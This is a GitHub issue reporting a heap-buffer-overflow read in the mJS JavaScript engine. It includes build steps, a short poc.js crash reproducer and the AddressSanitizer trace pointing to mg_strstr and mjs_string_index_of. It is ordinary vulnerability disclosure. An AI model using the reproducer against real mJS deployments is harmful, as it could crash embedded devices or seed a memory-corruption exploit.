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hope-fly opened this issue

Dec 31, 2021

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mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function JSEtest(a) {
  let arr = ['prototype'.indexOf(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp']))];

  if (a < 10)
    JSEtest(a + 1);
}
JSEtest(0);

​

Execution steps & Output

$ ./mjs/build/mjs poc.js

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x7fabea0b7f54 bp 0x7ffdfc32c250 sp 0x7ffdfc32b9f8 READ of size 19 at 0x60b0000000ab thread T0 #0 0x7fabea0b7f53 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) #1 0x55e0e1aa2ff6 in mg_strstr src/common/mg_str.c:154 #2 0x55e0e1a6c363 in mjs_string_index_of src/mjs_string.c:366 #3 0x55e0e19c5244 in mjs_execute src/mjs_exec.c:853 #4 0x55e0e19cea05 in mjs_exec_internal src/mjs_exec.c:1073 #5 0x55e0e19cea05 in mjs_exec_file src/mjs_exec.c:1096 #6 0x55e0e198b909 in main src/mjs_main.c:47 #7 0x7fabe9a34b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #8 0x55e0e198c449 in _start (/usr/local/bin/Gmjs+0xe449)

0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab) allocated by thread T0 here: #0 0x7fabea0e6f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x55e0e1a9d346 in mbuf_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) Shadow bytes around the buggy address: 0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 =>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa fd fd 0x0c167fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

Credits: Found by OWL337 team.

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